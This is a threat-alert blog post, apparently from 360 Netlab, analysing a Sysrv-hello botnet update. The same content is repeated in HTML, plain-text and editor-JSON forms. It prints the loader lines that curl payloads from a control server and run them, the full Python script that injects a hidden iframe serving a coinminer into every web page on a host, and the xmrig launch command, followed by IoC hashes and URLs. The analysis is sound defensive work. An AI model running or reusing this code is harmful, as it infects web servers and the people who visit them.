Threat Alert: New update from Sysrv-hello, now infecting victims‘ webpages to push malicious exe to end users
<!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the <a href="__GHOST_URL__/rinfo-is-making-a-comeback-and-is-scanning-and-mining-in-full-speed/">[rinfo]</a><a href="__GHOST_URL__/threat-alert-z0miner-is-spreading-quickly-by-exploiting-elasticsearch-and-jenkins-vulnerabilities/">[z0miner]</a>. And the latest case comes from <a href="https://help.aliyun.com/document_detail/196163.html">Sysrv-hello</a>. Two security companies have recently analyzed the new variant of the family <a href="https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence">[1]</a><a href="https://www.lacework.com/sysrv-hello-expands-infrastructure/">[2]</a>, but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.</p>
<h2 id="newmodulesofapyandbrowserupdateexe">New modules of a.py and BrowserUpdate.exe</h2>
<p>We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:</p>
<pre><code>curl $cc/BrowserUpdate.exe &gt; /tmp/BrowserUpdate.exe
curl $cc/a.py &gt; /tmp/a.py
python /tmp/a.py &amp;
nohup python /tmp/a.py 1&gt;/dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.</p>
<p>The a.py file is a Python program, with only 20 lines of code.</p>
<pre><code>import os
d = &quot;&lt;iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;&quot;
for _dir in [&quot;/var&quot;, &quot;/usr/local&quot;, &quot;/home&quot;, &quot;/opt&quot;]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [&quot;.html&quot;, &quot;.php&quot;, &quot;.htm&quot;, &quot;.jsp&quot;, &quot;.asp&quot;, &quot;.tpl&quot;]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or (&quot;&lt;head&gt;&quot; not in data):
                        continue
                with open(path, &quot;w&quot;) as f:
                    f.write(data.replace(&quot;&lt;head&gt;&quot;, &quot;&lt;head&gt;&quot;+d))#+'&lt;script async=&quot;async&quot; src=&quot;//bmst.pw/6034003x100.js&quot;&gt;&lt;/script&gt;'))
            except:
                continue
            dst = os.path.join(root, &quot;BrowserUpdate.exe&quot;)
            os.system(&quot;cp -rf /tmp/BrowserUpdate.exe '%s'&quot; % dst)
os.system(&quot;rm -rf /tmp/BrowserUpdate.exe&quot;)
</code></pre>
<p>The function of this code is to go through the directories of <code>&quot;/var&quot;, &quot;/usr/local&quot;, &quot;/home&quot;</code> and <code>&quot;/opt&quot;</code> on the infected machine, looking for web files with <code>&quot;.html&quot;, &quot;.php&quot;, &quot;.htm&quot;, &quot;.jsp&quot;, &quot;.asp&quot;</code> or <code>&quot;.tpl&quot;</code> suffixes, and inserting an iframe code into them once found.</p>
<pre><code>&lt;head&gt;&lt;iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;
</code></pre>
<p>So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.</p>
<p>BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is  a malicious program of <a href="https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection">CoinMiner</a>. The exe will release  two 64-bit PE files:</p>
<pre><code>CreateFileW(&quot;C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe&quot;, 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW(&quot;C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys&quot;, 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
</code></pre>
<p>Then BrowserUpdate.exe will call the two files using the following command.</p>
<pre><code>cmd /c \&quot;%TEMP%\\ModuleInstaller.exe\&quot; --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<p>The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of <a href="https://github.com/xmrig/xmrig">xmrig suite</a>, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been <a href="https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection">reports</a> about them by other vendors.</p>
<h2 id="summary">Summary</h2>
<p>Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.<br>
Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab[at]360.cn.</p>
<h2 id="ioc">IoC</h2>
<h3 id="md5">MD5</h3>
<pre><code>833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
</code></pre>
<h3 id="minerpoolandwallet">miner pool and wallet</h3>
<pre><code>pool: xmr-eu2.nanopool.org:14444
wallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<!--kg-card-end: markdown-->
Overview


From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello. Two security companies have recently analyzed the new variant of the family [1][2], but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.



New modules of a.py and BrowserUpdate.exe


We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:


curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &



You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.


The a.py file is a Python program, with only 20 lines of code.


import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")



The function of this code is to go through the directories of "/var", "/usr/local", "/home" and "/opt" on the infected machine, looking for web files with ".html", ".php", ".htm", ".jsp", ".asp" or ".tpl" suffixes, and inserting an iframe code into them once found.


<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>



So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.


BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of CoinMiner. The exe will release two 64-bit PE files:


CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)



Then BrowserUpdate.exe will call the two files using the following command.


cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo



The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of xmrig suite, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been reports about them by other vendors.



Summary


Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.

Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.



Contact us


Readers are always welcomed to reach us on twitter, or email to netlab[at]360.cn.



IoC



MD5


833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS




URL


http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686




miner pool and wallet


pool: xmr-eu2.nanopool.org:14444
wallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Overview\nFrom the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [[rinfo]](__GHOST_URL__/rinfo-is-making-a-comeback-and-is-scanning-and-mining-in-full-speed/)[[z0miner]](__GHOST_URL__/threat-alert-z0miner-is-spreading-quickly-by-exploiting-elasticsearch-and-jenkins-vulnerabilities/). And the latest case comes from [Sysrv-hello](https://help.aliyun.com/document_detail/196163.html). Two security companies have recently analyzed the new variant of the family [[1]](https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence)[[2]](https://www.lacework.com/sysrv-hello-expands-infrastructure/), but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.\n\n##New modules of a.py and BrowserUpdate.exe\nWe know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:\n```\ncurl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe\ncurl $cc/a.py > /tmp/a.py\npython /tmp/a.py &\nnohup python /tmp/a.py 1>/dev/null 2>&1 &\n```\nYou can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.\n\nThe a.py file is a Python program, with only 20 lines of code.\n```\nimport os\nd = \"<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\"\nfor _dir in [\"/var\", \"/usr/local\", \"/home\", \"/opt\"]:\n    for root, dirs, files in os.walk(_dir):\n        for i in files:\n            path = os.path.join(root, i)\n            if os.path.splitext(path)[1] not in [\".html\", \".php\", \".htm\", \".jsp\", \".asp\", \".tpl\"]:\n                continue\n            try:\n                with open(path) as f:\n                    data = f.read()\n                    if (d in data) or (\"<head>\" not in data):\n                        continue\n                with open(path, \"w\") as f:\n                    f.write(data.replace(\"<head>\", \"<head>\"+d))#+'<script async=\"async\" src=\"//bmst.pw/6034003x100.js\"></script>'))\n            except:\n                continue\n            dst = os.path.join(root, \"BrowserUpdate.exe\")\n            os.system(\"cp -rf /tmp/BrowserUpdate.exe '%s'\" % dst)\nos.system(\"rm -rf /tmp/BrowserUpdate.exe\")\n```\nThe function of this code is to go through the directories of ```\"/var\", \"/usr/local\", \"/home\"``` and ```\"/opt\"``` on the infected machine, looking for web files with ```\".html\", \".php\", \".htm\", \".jsp\", \".asp\"``` or ```\".tpl\"``` suffixes, and inserting an iframe code into them once found.\n```\n<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\n```\nSo, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.\n\nBrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is  a malicious program of [CoinMiner](https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection). The exe will release  two 64-bit PE files:\n```\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\ModuleInstaller.exe\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\WinRing0x64.sys\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\n```\nThen BrowserUpdate.exe will call the two files using the following command.\n```\ncmd /c \\\"%TEMP%\\\\ModuleInstaller.exe\\\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\nThe above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of [xmrig suite](https://github.com/xmrig/xmrig), with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been [reports](https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection) about them by other vendors.\n\n##Summary\nThrough the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.\nConsidering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.\n\n##Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab[at]360.cn.\n\n##IoC\n###MD5\n```\n833822feda97936d690ff6b983ad1a87  ldr.sh\n645647171d92e1fe289b63bbd2f2db86  a.py\n048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe\na7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE\n0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS\n```\n###URL\n```\nhttp://194.145.227.21/ldr.sh\nhttp://194.145.227.21/a.py\nhttp://194.145.227.21/BrowserUpdate.exe\nhttp://194.145.227.21/sys.i686\n```\n###miner pool and wallet\n```\npool: xmr-eu2.nanopool.org:14444\nwallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}